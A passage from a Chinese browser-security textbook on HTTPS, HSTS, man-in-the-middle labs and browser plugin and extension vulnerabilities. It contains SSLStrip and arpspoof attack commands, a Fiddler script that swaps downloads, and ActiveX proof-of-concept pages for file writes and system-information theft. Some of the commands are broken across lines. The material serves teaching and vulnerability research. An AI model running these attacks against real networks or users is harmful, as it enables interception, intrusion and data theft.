	移动端的恶意推广



移动端的广告也有类似问题，图4-21是2015年7月攻击者投放到某平台的广告。它们伪装成手机播放器的下载站，打开后会主动弹出一个窗口，提示用户应该下载“播放器”，而且每隔20秒，网站都会访问一下“播放器”的链接逼迫用户下载。这个播放器下载打开之后名字十分诱惑，但是这个文件事实上是一个木马。

[image: ]
图4-21：移动端的恶意推广



在恶意网站中还会使用地理信息API（Geolocation API）或是用户IP信息来展示一些更为欺骗性的内容，例如“来自北京的信息推荐”等。在移动端浏览器中地理信息API基本都已被支持，浏览器弹出的提示经常被用户忽略而直接点了允许，这相当于给予网站获取你的精确位置的能力，因此在赋予网站授权时一定要小心慎重。

[image: ]
图4-22：移动端网页正请求地理位置许可




	
https://github.com/feross/fullscreen-api-attack返回




	
https://github.com/mattdiamond/Recorderjs返回







4.3　HTTPS与中间人攻击

HTTPS的安全性是建立在连接双方采用合适的算法之上的，仅当下列情况时应当被视为可信任的：


	用户相信浏览器正确实现了HTTPS的功能、安装了正确的证书颁发机构的根证书；

	用户相信他们安装的证书颁发机构仅信任合法的网站；

	被访问的网站提供了一个由可信证书颁发机构签发的证书；

	该证书正确地验证了被访问的网站；

	连接中的节点是值得信任的，或者用户相信HTTPS协议的加密层（TLS或SSL）不能被窃听者破坏。



4.3.1　HTTPS的绿锁

在访问一个HTTPS网站时，如果网站有正确的证书并通过了校验，一般浏览器会显示一个锁的图标和绿色的https。证书可以认证对方是否符合规范，EV SSL证书（Extended Validation SSL Certification）可以确认企业是否真实存在。采用EV SSL证书的网站在通过浏览器验证时，在Chrome中不仅会显示绿锁、绿色https，还会显示公司名。

[image: ]
图4-23：不同的HTTPS证书



让我们再看一下没有通过认证的情况。例如自签名证书，指的是自己颁发给自己的证书，在互联网上仅代表“网站觉得自己是安全且合法的”，但是没有任何其他机构可以证明。这种证书一般被浏览器认为是“错误证书”或者“不受信任的证书”，通常会显示画线的红色https，或是一个破碎的锁，或是直接提示证书错误并显示红色背景。

还有，许多人认为HTTPS的“安全”代表网页内容也安全。这显然不正确。正确实现的HTTPS只是能够保证通信的方式正确。而通信的内容却并不能确保安全，HTTPS下也仍然可以有欺诈、钓鱼等网页，例如在钓鱼网站报告平台PhishTank上，即可发现大量身披HTTPS的钓鱼网站。

[image: ]
图4-24：自签名证书



4.3.2　HTTPS有多安全？

HTTPS有多安全取决于双方如何使用它。在网站中时常见到HTTPS和HTTP的混合连接，这使得HTTPS几乎失效。HTTPS就是为了保证通信过程的保密性的，如果使用混合连接，那么攻击者同样可以通过截获HTTP连接的报文来获取连接中的隐私信息，或者篡改HTTP连接部分来攻击用户。

在攻击混合内容的HTTP请求时，<img>、<video>、<audio>等的属性视为被动的属性，它们仅可能泄露一些信息，攻击者不太容易通过这些属性来攻击用户。而<script>标签的src属性、<link>的href属性、XMLHttpRequest对象的请求、<iframe>的src属性、<object>的data属性、CSS中使用url部分的属性，例如@font-face都应当被认为是活动内容，这些内容被篡改后可能影响当前页面的安全性，因此不应使用混合内容。好在许多浏览器都会提示这种混合内容，但是不好的地方是许多用户根本不看提示框，直接点了放行。

[image: ]
图4-25：IE提示网页存在混合内容



另一个不安全的地方是密钥的选择。使用HTTPS连接时，SSL采用公开密钥加密的处理方式。它使用一对非对称的公钥、私钥机制来加密。发送方用对方的公钥来加密消息，对方收到加密消息后，再用自己的私钥解开。不过，如果连接一直都用这种方式加密传输的话，效率会非常低，因为这种非对称加解密算法处理起来速度会比较慢。而另一种加密方式——对称密钥加密则效率较高。因此，浏览器中会采用混合的加密方法：


	客户端先用服务器的公钥加密自己产生的一个共享密钥，服务器解开后，得到这个共享密钥；

	服务器使用客户端的公钥再加密这个共享密钥，客户端收到后，得到共享密钥，如果和自己发出去的一致，就认为交换成功；

	之后都用这个密钥来采用对称加密算法加密通信。



简而言之便是，用非对称算法加密交换一个密钥，通过校验后，之后用这个密钥再进行对称加密，并与服务器通信。

但是密钥算法的安全性仍受限于密钥长度。2015年3月爆出的浏览器FREAK漏洞（Factoring RSA Export Keys，CVE-2015-0204）便属于此类。1990年美国政府规定软件制造商出口的软件只能使用512位以下的RSA加密以方便NSA破译加密，当时只有美国本土才能使用更强的加密方式。虽然后来这个政治需求已经不再使用，但是这个加密却保留了下来。2015年时，这种强度的密钥，只要用少量的资源就可以破解密钥，因此可以让使用512位RSA Export密钥的网站失去安全保障。

攻击者利用FREAK进行攻击的时候大致分为下列步骤：浏览器在Client Hello时会请求标准的RSA加密，这个过程是明文的，因此攻击者可以改变请求内容，转而请求“出口级RSA加密”。随后，服务器返回一个512 Bit的出口级RSA公钥，客户端接受后用这个公钥加密pre-master secret，服务器收到后用私钥解密出pre-master secret，之后，双方依据此秘密信息计算出后续通信用的密钥。如果攻击者可以分解服务器发送的512 Bit的公钥，就可以计算出私钥，并得到pre-master secret，且算出通信的密钥。这样浏览器和服务器的通信内容将会完全暴露在攻击者的监控之下。

[image: ]
图4-26：Iceweasel浏览器提示服务器交换密钥长度不安全



即使HTTPS可能存在一些小瑕疵，但是仍然要比HTTP安全许多。因此许多需要信息保密的网站，如网银、用户的个人中心等，会设法将HTTP连接修改为HTTPS。这称为流量的升级。

4.3.3　HSTS

HTTP流量的升级很常见，例如百度在2015年开始已经支持HTTP自动升级。在日常使用场景中，大多数人访问百度时输入的会是www.baidu.com，这在浏览器中将会被解释为http://www.baidu.com，而不是HTTPS连接。为了切换到HTTPS，百度会对我们的这次访问进行流量升级。简单来说，就是响应一个302重定向，将页面重定向到HTTPS连接上从而完成HTTP到HTTPS的流量升级。

网站从HTTP升级HTTPS的过程中仍需要经历一次HTTP请求，因此这个过程仍然有可能被窃听。因此，名为HTTP Strict Transport Security（通常简称为HSTS，严格HTTP安全传输）的规范应运而生。它告诉浏览器当前资源只能通过HTTPS访问。

在某次访问网站时，网站会通过HSTS通知浏览器，这个网站禁止使用HTTP方式加载，浏览器应该自动把所有尝试使用HTTP的请求自动替换为HTTPS请求。之后再在浏览器中访问该网站时，浏览器会直接选择HTTPS来访问，而不是默认的HTTP。该功能由Strict-Transport-Security头实现。例如PayPal.com返回的信息如下：

HTTP/1.0 301 Moved Permanently
Location: https://www.paypal.com/
Strict-Transport-Security: max-age=63072000
Connection: Keep-Alive
Content-Length: 0


max-age的单位是秒。PayPal的设置代表着该浏览器在接下来730年都应该直接选择HTTPS代替HTTP来访问PayPal。只有当max-age过期之后，浏览器才会重新恢复使用HTTP访问网站。




接下来让我们实践一下，对浏览器中的连接进行一些攻击实验。

4.3.4　使用SSLStrip阻止HTTP升级HTTPS

Moxie Marlinspike在2009年的一篇论文中提出了“SSL Striping”的概念。SSL Striping是指阻止浏览器将HTTP流量升级为HTTPS流量的一种攻击方式。他也提供了一个工具SSLStrip。

接下来，我们就要使用这个工具。我们使用的工具是SSLStrip 0.9.2。我们将使用它劫持局域网内的一台机器的流量，禁止浏览器将不安全的HTTP流量升级成HTTPS。在302跳转时，SSLStrip会强迫使用HTTP连接来代替HTTPS连接，导致流量升级失败。此时浏览器中访问的所有流量将仍然是明文的，而且可以被SSLStrip监听和记录下来。

让我们开始实验，本节介绍的攻击演示均在Linux中完成。在Linux中可以通过源直接安装SSLStrip，例如在笔者的Debian中使用$sudo apt-get install sslstrip即可安装上SSLStrip。另外，如果无法通过源安装，SSLStrip也可以通过执行pip install sslstrip来安装。

要完成整套攻击，还需要安装arpspoof。arpspoof是dsniff套件中的一员，所以安装完dsniff后即自带arpspoof工具。arpsoof的执行需要root权限，所以记得使用$sudo arpsoof执行，否则会提示无法识别的命令。

在工具安装完成后，可以通过如下步骤来进行SSL Striping攻击。

（1）将计算机更改为正向模式，否则攻击的时候机器就连不上网了：

# echo “





1”





 > /proc/sys/net/ipv4/ip_forward


（2）将iptables设置为中断HTTP请求模式：




# iptables -t nat -A PREROUTING -p tcp –





destination-port 80 -j REDIRECT –





to-port <监听的端口，默认





10000 即可





>


（3）执行SSLStrip，这一步监听的端口需要和第2步中设置的一样，这样sslstrip才可以正确地收到转发来的数据。日志文件保存在sslstrip.log中，日志中可能包含\0，可以使用vi或者nano之类的工具打开日志，它们可以完整地显示日志：




# sslstrip -l <监听的端口，默认





10000 即可





>


（4）使用arpspoof来欺骗目标主机，让主机误以为我们的MAC地址就是路由器的MAC地址，这样可以让目标主机把所有信息都发送过来，从而达到重定向流量的目的：




# arpspoof -i <interface> -t <目标





IP> <网关





IP>


例如，笔者的计算机与被攻击的计算机处于同一网关下，interface是eth0，另一台计算机IP是192.168.0.102，网关IP 192.168.0.1。




实验开始，先抓取一下正常的http请求，在浏览器中访问http://www.baidu.com之后，百度服务器会要求定向到https://www.baidu.com/上，随后浏览器定向到更为安全的https请求并在之后的请求中都以https请求来访问网络。

[image: ]
图4-27：HTTP请求升级



开启了SSLStrip之后，我们在浏览器的地址栏输入http://www.baidu.com，百度服务器产生了一个302重定向的响应数据，要求客户端重定向到https://www.baidu.com上。

[image: ]
图4-28：服务器响应的302跳转



然而SSLStrip在发现了这次流量升级的请求后，依然坚持使用HTTP连接，并成功地和目标（http://www.baidu.com）建立了连接，之后，浏览器中的数据都变成了HTTP，可以看到这次连接的响应数据也被SSLStrip一并截获，见图4-29末尾“Read from Server”部分。

[image: ]
图4-29：连接被强制降级成了http，服务器返回正常



4.3.5　使用Fiddler对PC端快速进行中间人攻击测试

使用上一节的工具可以对局域网内另一台机器进行攻击，使用Fiddler这款工具则可以快速模拟对本机进行攻击。Fiddler启动后会默认在8888端口进行全局代理。要进行中间人攻击，首先我们需要截断请求。单击状态栏上“All Process”右边的区域可以调整中断时机。第一次单击时，状态是Breakpoint Before Request（在请求发起前中断），再点一次的话会变为Breakpoint After Request（在请求发起后中断），第三次单击时恢复正常，不会中断。

[image: ]
图4-30：可以快速设置中断的位置



这个操作也可以在菜单Rules→Automatic Breakpoints→Before Requests（F11）/After Responses（Alt+F11）处触发。打开Breakpoints之后，所有经过代理的HTTP（S）请求都会被暂停，此时可以随意修改。被暂停的流量如图4-31所示，在编辑完请求后，单击“Break on Response”可以在服务器有响应数据时中断，单击“Run to Complete”可以让这个请求运行到流程结束。

[image: ]
图4-31：开启了请求中断后，所有请求都会被截停



让我们做一个通过中间人攻击修改网页内容的简单实验。我们先开启“Breakpoint After Request”，然后在浏览器访问http://www.sina.com。新浪服务器响应时，这个请求会在Fiddler中发生一次中断。此时，我们修改状态码为HTTP/1.1200 OK，表示响应成功，网页内容修改成任意内容，例如修改成“MITM！！”，然后将Content-Length改为对应长度，这里是6。

在修改完成之后，单击Run to Completion，这时请求成功走完，浏览器中也会显示“MITM！！”，看来这次中间人攻击成功了。修改后的样子如图4-32所示。

[image: ]
图4-32：一次中间人攻击



此类测试也可以衍生到对浏览器的安全测试上，许多浏览器在升级的时候都会从服务器上拉取一个安装包到本地进行安装。这个拉取过程通常也是由HTTP进行的，如果攻击者在拉取完安装包后没有做任何有效性检查就直接启动了这个安装包，此时我们可以认为这个动作是会存在被中间人攻击的风险的。

4.3.6　使用Fiddler脚本和AutoResponse自动发起中间人攻击

如果觉得上述手动处理中断的方式比较复杂，你也可以采用Fiddler Script去自动化应答。Fiddler Script默认没有包含在Fiddler软件包中，需要手动下载名为SyntaxView的组件，这个组件可以在Fiddler右侧的Get SyntaxView->Download and Install SyntaxView now...处安装。安装SyntaxView之后在Inspector里面就能看到名为Fiddler Script的标签页了。

[image: ]
图4-33：可以触发安装的位置



Fiddler Script采用了一种看起来和IE非常像的事件机制，我们可以在OnBeforeRequest中添加替换脚本。笔者提供了一个范例，可以添加下面代码来让Fiddler Script自动处理中间人攻击中的网址替换工作。Fiddler Script的功能非常强大，其他内容也可以参考软件帮助，在此不再赘述。

static function OnBeforeRequest(oSession: Session) 
{ 
    if(oSession.uriContains("http://dlxxq.com/dl/qqdl"))
    {
         oSession.fullUrl = "http://127.0.0.1/cmd.exe";
    } 
}



保存后，选择Disable caching，访问http://dlxxq.com/dl/qqdl，发现下载回来的是系统文件cmd.exe，攻击成功。这都是Fiddler Script在后台做的自动化处理。




由于我们要实现的功能相当简单，所以也可以通过AutoResponse来自动回应，开启AutoResponse并如图4-34所示进行设置，它的意思是当访问的URL是http://dlXXq.com/dl/qqdl时，我们就用本地的一个文件c：\windows\syswow64\cmd.exe来响应，这个和我们之前用脚本替换时的效果是一样的。

[image: ]
图4-34：自动响应的配置



在设置完成之后访问http://dlxxq.com/dl/qqdl，发现下载回来的是系统文件cmd.exe，证明攻击成功。

Fiddler工具用途十分广泛，脚本功能也非常丰富，经过上面的例子我们也知道，此类测试可谓条条大路通罗马。在选择测试方案时，我们完全可以根据自己的需要，找一个最合适的方式测试。Fiddler的帮助文档和资料也十分详细，Fiddler的作者提供了在线帮助[image: http://fiddler2.com/fiddler2/help/]

 和Fiddler Book，在使用时可以参考它们更加快速地掌握这个软件的用法。



	
http://fiddler2.com/fiddler2/help/返回







4.4　本章小结

在本章中，我们知道了在浏览器中向用户发起攻击的几种形式——钓鱼网站、欺诈网站、点击劫持等以及针对它们的防护方式。

然后，我们介绍了HTML5的新规范以及一些可能针对HTML5新功能进行的攻击方式，还介绍了HTML5引入的新属性可能带来的新XSS攻击向量，这些都可以在日常的测试中使用。

最后，我们介绍了HTTP（S）和针对HTTP流量升级HTTPS时的攻击，以及针对HTTP网站的中间人攻击和实战方式。


5　浏览器扩展与插件的安全问题

扩展（extension）和插件（plugin）[image: 在本章中扩展指本身是网页的应用，而插件指二进制形式存在于浏览器中的一种部件。]

 通过与网页交互来丰富浏览器的用户体验。Firefox用户中，至少有1/3的用户安装了额外的扩展程序。虽然NoScript之类的扩展可以增强安全性，但不可否认的是还有许多插件并没有安全专家参与编写，许多插件几乎有和浏览器一样的权限，对攻击者来说，与其攻破浏览器，不如攻破规模相对较小的插件见效快。


常见的Adobe Flash Player、Adobe Reader、Java插件的海量用户群体吸引了黑客的目光，黑客攻击插件不仅是因为用户量，这其中还有另一个重要原因：许多用户会及时更新浏览器，但是却不会主动更新浏览器插件。

2013年，Qualys对140万企业用户的调查发现39%的机器有可导致远程任意代码执行的漏洞。Google Chrome中约40％、Mozilla Firefox中约35％、IE中约41％都存在严重的安全问题。

[image: ]
图5-1：存在漏洞的浏览器比例分布



但这些问题并不主要来自浏览器，80%的有漏洞的机器上浏览器都已经是最新版本。问题大部分都出在Adobe Flash Player及Oracle Java等[image: 漏洞多发的插件前几位排名依次为（2013年）：Adobe Flash Player、Java、Apple Quicktime、Adobe Reader、Adobe Flash、Microsoft Silverlight。]

 浏览器插件上，正如我们之前所说，这些有问题的插件几乎都没有更新到最新版本。


在CVE平台上搜索“Adobe Flash”、“Adobe Reader”、“Oracle Java”，可以发现归档的漏洞合计起来约1500个。接下来，我们就将详细介绍与浏览器的插件和扩展安全相关的内容。


	
在本章中扩展指本身是网页的应用，而插件指二进制形式存在于浏览器中的一种部件。返回




	
漏洞多发的插件前几位排名依次为（2013年）：Adobe Flash Player、Java、Apple Quicktime、Adobe Reader、Adobe Flash、Microsoft Silverlight。返回







5.1　插件

5.1.1　ActiveX

ActiveX是IE3引入的一项特性，它可以让浏览器调用外部二进制程序，并让该程序也参与网页展示。在与Netscape的份额大战期间，为了展示自己软件功能丰富，微软和网景都加入了许多互不兼容的HTML特性，ActiveX插件就是这场大战中微软加入的一个“法宝”。

[image: ]
图5-2：Internet Explorer 11中加载的ActiveX控件



这项功能加入浏览器后，IE的扩展性得到了巨大的进步，然而Windows用户大多数以管理员身份运行，因此IE中ActiveX也以同样权限运行。一旦ActiveX出漏洞，那攻击者也可以轻易地以管理员权限运行代码，相当于为安全性埋了一个定时炸弹。

ActiveX问题产生已久。在exploit-db.com的漏洞数据库中搜索，我们可以轻易地找到600多个[image: 2015年11月数据。]

 ActiveX漏洞，最早的报告为1999年4月，几乎可以追溯到该网站创建之初。


为了避免不安全的ActiveX加载到用户的浏览器中，微软也做出了一些限制，其中两项称为Safe For Scripting/Safe For Init的标记构成了这个安全架构的核心，接下来让我们介绍一下这个标记。

5.1.2　ActiveX的安全问题

默认情况下，ActiveX插件要在IE中运行，则必须同时拥有Safe For Scripting/Safe For Init标记才可以运行。IE加载ActiveX控件时，会依次检查如下动作来确定控件是否可以安全加载和运用于网页代码中。

（1）先检查ActiveX控件是否设置了Killbit，如果设置了Killbit，IE将不会加载这个控件；

（2）确定这个控件是否派生了IObjectSafety接口，如果有的话，IE会通过这个接口检查是否有设置Safe for Scripting/Safe For Init。或是通过插件注册时，CCM（Component Category Manager，组件类型管理器）设置的注册表标记{7DD95802-9882-11CF-9FA9-00AA006C42C4}（Safe for Initialization）和{7DD95801-9882-11CF-9FA9-00AA006C42C4}（Safe For Scripting）来判断。

[image: ]
图5-3：注册表中的标记



但是这个标记完全是靠ActiveX的作者说了算，不负责任的开发者可能只是为了ActiveX能够方便地加载到浏览器中，就随意认定自己的插件为安全。

另一种问题则是代码自身的缺陷。ActiveX的开发者不一定会写出非常严谨的代码，或是合理地控制自己代码的权限。一些逻辑问题不一定在测试的时候能够精确复现，因此和普通的软件BUG一样，在特殊情况下可以触发某些非正常逻辑并可能导致灾难性的后果。

正因为ActiveX不那么安全且不合规范，所以微软决定放弃这项技术支持，但即使是号称放弃ActiveX的Windows 10的Edge浏览器也还是能加载一些特定的ActiveX插件。

5.1.3　ActiveX的逻辑漏洞

ActiveX相当于远程布置一个二进制程序到用户的计算机中，如果开发者在ActiveX中留下一些未经校验即可执行高权限操作的接口，这相当于给攻击者留下了进入用户系统的捷径。这些接口包括文件操作、注册表操作、系统信息读取、进程开启关闭、加载其他程序等，如果不加验证便任由大众调用，那便可以称作ActiveX中最为低级的错误。让我们举几个例子：


	McAfee Virtual Technician（MVT）6.5.0.2101任意文件写入漏洞（CVE-2012-5879）



通过指定一个路径，再调用Save（）方法，网页可远程写入用户机器上的指定文件。

<object classid='clsid:24565A99-ADDA-47B9-9E86-3C4C3360E256'     id='target'></object>
<script language="VBScript">
    arg1="FilePath"
    target.Save arg1 
</script>



	Oracle AutoVue 20.0.1'AutoVueX.ocx'控件写入任意文件漏洞



通过如下的HTML文档，浏览器加载的AutoVueX.ocx可以向攻击者指定的文件中写入指定的内容。攻击者可以将木马写入到“启动”目录中，这样下次系统重启时，就会执行木马程序。

<object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' width=640 & height=480 />
<param name=SRC value="PADS_Evaluation_board.pcb"></param>
</object>
<script defer="defer">
var sh = "something to write";
for (i=0; i<6666; i++) { 
    obj.ExportEdaBom("test.txt","aaaa",true,sh);
}
window.location.href = window.location.href;
</script>


	QOEPLUG插件信息泄露



笔者在搜索某运营商的在线测速[image: http://speed.sc.cninfo.net/chinatelcom/speedtest/sccs/index.shtml]

 网站时，发现其控件开放了许多接口，其中一些接口不经限制可直接访问，攻击者可以直接获取用户系统的许多信息。该ActiveX的信息如下，可以看到插件包含有Safe for Script和Safe for Init标记，因此是可以在IE中远程加载的：


Class QOEPLUG
GUID: {B2F9A248-3AB5-493F-A7F8-5B7A9D026ED2}
Number of Interfaces: 1
Default Interface: _DQOEPLUG
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False


当用户访问如下网页后，脚本便可通过该插件获取用户的进程列表、DNS服务器配置等信息。插件这样权限大开，风险是十分大的。


<object id="qoeinfo" classid="CLSID:B2F9A248-3AB5-493F-A7F8-5B7A9D026ED2" style="display: none;"></object>

<script>
    var softwarecount = 0;
    qoeinfo.GetProcessInfo();
    var processlist = qoeinfo.strProcessInfo.toLocaleLowerCase();
    alert(processlist);
    qoeinfo.GetDnsServer();
    var dnsserver = qoeinfo.strDnsServer;
    qoeinfo.GetNumComputer();
    var fcw = qoeinfo.strNumComputer;
    qoeinfo.GetMemUsage();
    qoeinfo.GetMemSize();
    var memoryusage = qoeinfo.strMemUsage;
    memory = qoeinfo.strMemSize;
    qoeinfo.GetCpuUsage();
    var cpuusage = qoeinfo.strCpuUsage;
    qoeinfo.GetCpuName();
    cpuinfo = qoeinfo.strCpuName;
    qoeinfo.GetNetLoad();
    var load = qoeinfo.strNetLoad;
</script>

[image: ]
图5-4：插件运行后弹出用户的进程列表



这类ActiveX插件的逻辑漏洞如何挖掘呢？这里有一个较为通用的流程可供参考。

（1）查看ActiveX支持的方法和属性；

（2）根据名称猜测（或是分析二进制代码，或是进行黑盒测试）方法和属性的作用；

（3）将各方法的作用记录，分析是否有几个步骤可能产生问题（例如[A]登录后执行指定程序；[B]登录；两步组合成[B]-[A]即可能会产生一个严重问题）；

（4）写出测试代码进行验证。

COMRaider可查看插件的方法和属性。COMRaider是一个老牌的开源ActiveX Fuzzer，但是它的测试用例比较陈旧，但用于查看ActiveX信息还是比较合适的。打开COMRaider后，选中需要查看的控件，COMRaider便会枚举出该控件的方法和成员变量。如果你在分析的过程中看到了例如SaveToFile、RunApp这类奇怪的字眼时，不妨根据方法名称去手动尝试一下。

要在浏览器中加载ActiveX控件，可以使用OBJECT标签加上classid属性，代码如下。

<object classid='clsid:插件的





CLSID' id='obj'/>


编写网页时，在OBJECT标签之后方可在SCRIPT中通过指定的id（本例为"obj"）来直接访问该控件。更深入的Fuzz ActiveX插件漏洞挖掘和分析方法将在第10章介绍。




[image: ]
图5-5：ComRaider中查看某个控件的属性



5.1.4　NPAPI、PPAPI

Firefox问世后，招揽用户的时候甚至以“不支持ActiveX，所以更安全”的广告语来宣传自己。Google Chrome同样也不支持ActiveX。不支持ActiveX的浏览器会更安全吗？事实上，虽然Firefox和Chrome中不支持ActiveX，但是它们支持另一种二进制插件——NPAPI DLL。

NPAPI的全称是网景插件应用程序编程接口（Netescape Plugin Application Programming Interface），它的功能有些类似于ActiveX插件接口。网景的Navigator、火狐、Chrome、Safari等多个浏览器都支持NPAPI DLL。

以Chrome为例，在地址栏输入chrome：//plugins，可以看到加载的所有插件。展开插件的详细信息，我们可以看到如阿里的单点登录插件、财付通的安全输入插件、iTunes的程序检测插件，以及QQ空间的音乐插件、腾讯的单点登录插件等都以NPAPI插件的形式安装在浏览器中。

NPAPI有着和ActiveX一样的安全风险。在浏览器中，NPAPI插件通过EMBED标签载入浏览器中。载入时代码如下：

<embed type="application/XXXXXX" arguments="value"/>


如在浏览器中加载Flash插件，令其加载XXX.swf，高宽均为100时使用的代码为：


<embed src="XXX.swf" type="application/x-shockwave-flash" width="100" height="100" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>

[image: ]
图5-6：浏览器中的NPAPI插件



加载NPAPI时，各参数置于EMBED标签中即可，而不使用PARAM标签。在进行Fuzz时，也可以使用和ActiveX类似的方式，即初始化时给其指定一个id，然后在其初始化结束后再修改其参数的值。

例如下列代码将让Flash插件的大小变为300像素×100像素。

<embed src="X.swf" type="application/x-shockwave-flash" width="100" height="100" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" id="flash"></embed>
<script>
    flash.width=300;
</script>


与微软决定在Microsoft Edge中收紧ActiveX的加载策略一样，NPAPI也有一个好消息，那便是Google已经决定放弃支持NPAPI而转而支持PPAPI插件，PPAPI的全称是Pepper Plugin API，这是谷歌在2009年推出的一个技术。




PPAPI插件有受信插件和非受信插件两种运行模式。受信的PPAPI插件可以在Renderer进程中运行，也可以跨进程运行。而非受信的PPAPI插件则使用NativeClient技术来安全运行它们。Native Client简称为NaCl，是一项基于PPAPI机制的沙箱技术，它提供给不受信任的本地代码一个安全的运行环境。

目前，只有Chrome支持PPAPI，火狐则对这套标准表示并不感兴趣。2012年开始，Adobe Flash Player开始支持PPAPI。


	
2015年11月数据。返回




	
http://speed.sc.cninfo.net/chinatelcom/speedtest/sccs/index.shtml返回







5.2　定制浏览器的扩展和插件的漏洞

目前在中国市场上存在大量[image: 统计结果为2015年10月各浏览器份额。结果由UA区分，可能存在不准确现象，例如360浏览器采用和Chrome一样的UA，因此统计混杂在Chrome一栏中。数据来源http://tongji.baidu.com/data/browser/。]

 的“定制”浏览器。这里“定制”的意思是指这些浏览器采用了IE、Chrome等浏览器所开放的内核并基于此二次开发的浏览器。与IE、Chrome不同，定制浏览器的开发者的工作更多地集中于非内核的部分，将内核的开发任务交给开源社区解放了浏览器制作者的人力，定制浏览器可以使用更多的精力去制作一些本地化的便捷服务。这其中便包含了扩展体系。


[image: ]
图5-7：2015年10月国内浏览器份额



目前国内的浏览器大多数采用Blink/Webkit内核（即基于Chromium的浏览器），并开发了插件系统。这些插件系统多复用了Chrome的插件体系，但是厂商也会在自己的插件体系中添加一些特殊的功能支持，例如DLL文件调用、与浏览器的服务进程通信、与浏览器发出的特殊事件（例如导航失败、浏览器损坏）进行交互。各家产品标准的不一致，也会反映在安全性上。

在2014年，漏洞报告平台乌云上报告了许多例定制浏览器扩展/插件体系的安全问题，几乎涵盖了国内所有现有的浏览器。接下来，我们将汇总至2015年来插件中常出现的插件的问题和根源所在，在挖掘插件/扩展相关的漏洞以及修复问题时以期作参考用。

下文“危害”部分按“基础危害→最高可能导致的危害”来描述缺陷，不过出现基础危害之后，基本上很容易就能造成最高危害。

5.2.1　特权API暴露

危害：任意安装插件→任意代码执行

成因：

1．特权域[image: 指可以访问高权限API的域。]

 下存在XSS，导致安装插件的API暴露；


2．插件应用市场的页面存在XSS，可导致各种插件安装的JS被调用；

3．安装插件时没有校验来源，可能会引入攻击者自己构造的插件，导致任意代码执行。

校验来源方法：


	页面请求的发起者+下载地址（如果这个也是参数的一环）。

	最好还加上Token，Token可以是一些攻击者无法通过JS计算或者无法预测的内容（例如浏览器的安装时间）且只能使用一次。最好不要暴露接口给基本可信域的所有子域。



漏洞的例子：

《360安全浏览器远程代码执行漏洞》（se.360.cn暴露）：

http://www.wooyun.org/bugs/wooyun-2010-013430

《遨游浏览器XSS任意安装插件漏洞》（*.maxthon.cn暴露）：

http://www.wooyun.org/bugs/wooyun-2010-093779

5.2.2　DOM修改引入攻击向量

危害：

插件修改页面元素，产生mXSS，导致文本节点的内容被修改成代码并执行。

成因：

1．读取页面内容并重新经过处理再输出到页面上，期间未过滤。

常见的漏洞点容易出现在于如下类型的浏览器插件中：


	搜索插件

	翻译插件

	比价插件

	网站切换插件



以及一些会将用户输入的内容再以某些形式输出到页面中的插件。这些插件均可能脱离用户操作直接触发漏洞，因此需要引起足够重视。

安全建议：

在输出到页面中时进行编码或使用文本节点来输出。

漏洞的例子：

《有道Chrome浏览器划词插件XSS漏洞》

http://www.wooyun.org/bugs/wooyun-2010-021202

[image: ]
图5-8：划词搜索产生的mXSS



5.2.3　Windows文件名相关的多个问题

危害：解压到其他目录/DLL劫持/文件覆盖→任意代码执行

1．相对路径

Zip的文件名宽松，可以通过编辑Zip压缩包使得文件名部分带有../，在未经正确处理文件名输出的解压代码中可能会将文件解压到其他目录，如果攻击者将文件定位并解压到“启动”目录下，在下次系统启动时，便可以执行攻击者的程序，造成任意代码执行漏洞。

百度浏览器的例子：http://www.wooyun.org/bugs/wooyun-2010-096413

QQ浏览器的例子：http://www.wooyun.org/bugs/wooyun-2010-095664


	DLL劫持



许多插件采用ZIP压缩包的形式下发，在一些插件体系中，虽然校验了执行起来的插件，但是安装包内没有用到的DLL文件等却不一定有足够充分的校验。

这特别适用于一些既有EXE又有DLL的插件。如果攻击者将DLL命名成lpk.dll等系统DLL名称来进行DLL劫持时，插件启动时便会带来非常严重的问题。建议开发者在解压DLL文件的时候也校验签名，直接忽略签名不正确的文件不进行解压操作。

[image: ]
图5-9：ZIP中的特殊文件名



2．文件名解压时无效字符的问题

Windows文件名规范中表示文件名的末尾不得包含NULLCHAR（\0）、半角句点、空格，以及\1~\31这些字符，但是ZIP打包的时候却可以将这些字符插入文件名部分，如果攻击者在文件名后面加入这些非法字符——如“lpk.dll.”在通过插件安装系统释放文件时，写入到硬盘上的文件名也会变成“lpk.dll”，从而导致DLL劫持。

即使加上了解压时DLL签名校验，遇到特殊的文件名时，系统API也可能会出现问题，对“lpk.dll.”这样的文件名，可提取后缀的API PathFindExtension、_split_path返回的均是错误的后缀（返回的都是句点“.”）。插件解压系统如果只是简单判断后缀名是否为dll，则仍可能会失败。另外，如果在Zip文件中指定lpk.dll....、lpk.dll\0123456、lpk.dll.\0xxx这样的非法文件名，解压到硬盘之后，文件名也会是lpk.dll，所以解压程序得从后往前扫描一遍，找到最后一个无效字符，并删除后面所有内容，而不能只判断最后一个字符。

所以，为了安全起见，建议在解压前排除所有无效的字符再校验。或者也可以通过解析文件格式，例如假设当前正在解压的文件是PE文件，则统一校验签名，如果签名不匹配则不予释放。

5.2.4　NPAPI DLL的问题

危害：任意代码执行

包含有NPAPI的DLL的插件，需要注意是否存在XSS可能导致攻击者在网页上即可传入参数的行为。

例如白帽子gainover曾经报告过的《猎豹浏览器远程代码执行》：

http://www.wooyun.org/bugs/wooyun-2010-097654

该漏洞描述如下：旧版本的猎豹浏览器支持使用下列接口：

external.NativeInstallExtensions(["fpmcdbknonpdbngoboglidihcbfjcaep"]);


该external的访问权限暴露给了*.liebao.cn和*.duba.net域，调用上述接口后，目标插件会静默安装。




可利用方法：


	攻击者编写含恶意功能的插件并上传到应用市场（需要通过官方审核），这类操作起来较为困难；

	寻找带有缺陷的官方市场中的插件，在静默安装该插件后，触发漏洞。



本例中的漏洞是利用了一个public属性设置为true的含NPAPI DLL插件的漏洞，由于public属性的设置，在安装后，任何页面都可以调用该NPAPI提供的接口。该DLL含有漏洞可以启动任意程序，且可被所有页面调用，最终攻击者可以通过*.liebao.cn和*.duba.net的XSS来静默安装插件，然后调用该DLL的漏洞函数达到任意代码执行的效果。

5.2.5　同源检查不完善

危害：特权API暴露→任意代码执行

成因：

扩展的extension API应该限制在特权域，例如chrome：//等。但是如果攻击者可以通过某些特定的方式来访问域下的API，则依然可能产生安全问题。

漏洞示例：《搜狗浏览器远程命令执行之五》

http://www.wooyun.org/bugs/wooyun-2010-097380

